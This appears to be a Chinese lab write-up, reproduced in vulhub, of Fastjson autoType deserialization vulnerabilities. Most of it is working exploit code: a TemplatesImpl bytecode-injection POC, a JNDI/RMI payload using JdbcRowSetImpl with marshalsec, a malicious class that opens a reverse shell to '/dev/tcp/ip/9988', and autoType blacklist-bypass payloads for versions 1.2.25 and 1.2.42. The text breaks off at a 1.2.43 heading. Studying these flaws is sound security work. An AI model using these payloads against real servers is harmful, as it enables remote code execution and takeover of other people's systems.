漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
复现环境:vulhub
0x01.fastjson
处理json的方式有两个:parseObject和parse
返回的类型不一样,如果你的JSON中有private属性,且没有通过setter或构造方法设置值时,底层无法通过反射的方式为属性赋值,parseObject不会解析,值为空
JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
使用Feature时 传递参数可以让parseObject解析私有属性
简单的POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class Test {
public static void main(String[] args) {
//创建恶意类的实例并转换成json字符串
Hello testHello = new Hello();
String jsonString = JSON.toJSONString(testHello, SerializerFeature.WriteClassName);
System.out.println(jsonString);
//将json字符串转换成对象
Object obj = JSON.parse(jsonString);
System.out.println(obj);
}
}
TemplatesImpl类的利用
TemplatesImpl中的_bytecodes可以承载自定义的恶意字节码,在实例化的过程中加载字节码造成任意代码执行
通过Javaassist动态生成class后进行base64编码进而RCE
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.base64;
public class Test {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
// 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
cc.makeClassInitializer().insertBefore(cmd);
// 设置类名。
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 将生成的class文件保存当当前项目目录下
cc.writeFile("./");
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = new String(base64.encodebase64(evilCode));
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
""@type":"" + NASTY_CLASS +"","+
""_bytecodes":[""+evilCode_base64+""],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}n";
// 输出构造好的POC
System.out.println(text1);
ParserConfig config = new ParserConfig();
// fastjson解析POC
// Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
_bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。
_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
原理分析
调试了一下,不知道怎么讲,就挑其中一部分关键代码
分析参考博客https://www.cnblogs.com/afanti/p/10193158.html
对传进去bytecode的值会进行base64decode
bytecode会传进getTransletInstance->defineTransletClasses,跟进一下
加载字节码,生成恶意class
实例化class
接下来class.java这里会调用构造方法
会跳转到runtime的断点,可见已经执行了RCE
所有断点
JNDI注入
jndi为java服务和目录接口,JNDI提供统一的客户端API,通过不同的访问提供者接口,JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互,所以我们可以通过jdni来访问远程的url来获取我们需要的服务,那么如果服务端将对象注册到RMI注册表中,我们即可以通过jndi来对此对象进行访问。每一个对象都有键值对,与名字和对象进行绑定,可以通过名字来对对象进行访问,对象可能存储在rmi、ldap中。
使用com.sun.rowset.JdbcRowSetImpl类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#TouchFile" 9999
payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/TouchFile",
"autoCommit":true
}
}
TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","bash -i >& /dev/tcp/ip/9988 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将TochFile.java编译成class,并用marshalsec开启恶意rmi服务
其中可能遇到报错
java.sql.SQLException: JdbcRowSet (connect) JNDI unable to connect
检查恶意class能否在80端口被访问到,可能是因为80端口没有开启http服务导致的
python3 -m http.server 80
开启http服务
TouchFile has been compiled by a more recent version of the Java Runtime (class file version 58.0), this version of the Java Runtime only recognizes class file versions up to 52.0
java版本太高,需要使用和靶场版本一样的jvm,建议用java7,之后可以看到反弹shell成功
原理分析
parseClass.java中尝试反序列化
因为我们的类derializer=null所以调用createJavaBeanDeserialize创建类
然后调用到这里,去JavaBeanInfo.java build传入的类
创建后在DefaultJSONParser.java反序列化
后面因为我本地jdbc环境有问题就不继续调试了,但可以看到我们传入的恶意类是可以被反序列化的
1.2.25绕过AutoType
在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
需要开启 AutoTypeSupport才可以绕过
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
payload
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
原理
如果类以L开头且以;结尾,会自动去掉这两个字符,以此绕过对com.sun的黑名单验证
黑名单与白名单
ParseConfilg.java
如果设置autoTypeSupport执行上面的代码,没有设置执行下面的
区别就在于一个先验证黑名单而另一个先验证白名单
AutoTypeSupport=False的时候执行该代码,发现acceptList是空的,此时无法进入if会直接跳转到最后抛出异常,无法继续反序列化
1.2.42及以后
1.2.42
https://www.cnblogs.com/cmx666/p/15136664.html
黑名单使用了Hash加密,但大部分黑名单内容已经被爆破出来了…
直接看payload
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
原理
在checkAutoType中做了一次截取类名的操作,所以我们只要双写L和;就和1.2.25一样了
1.2.43



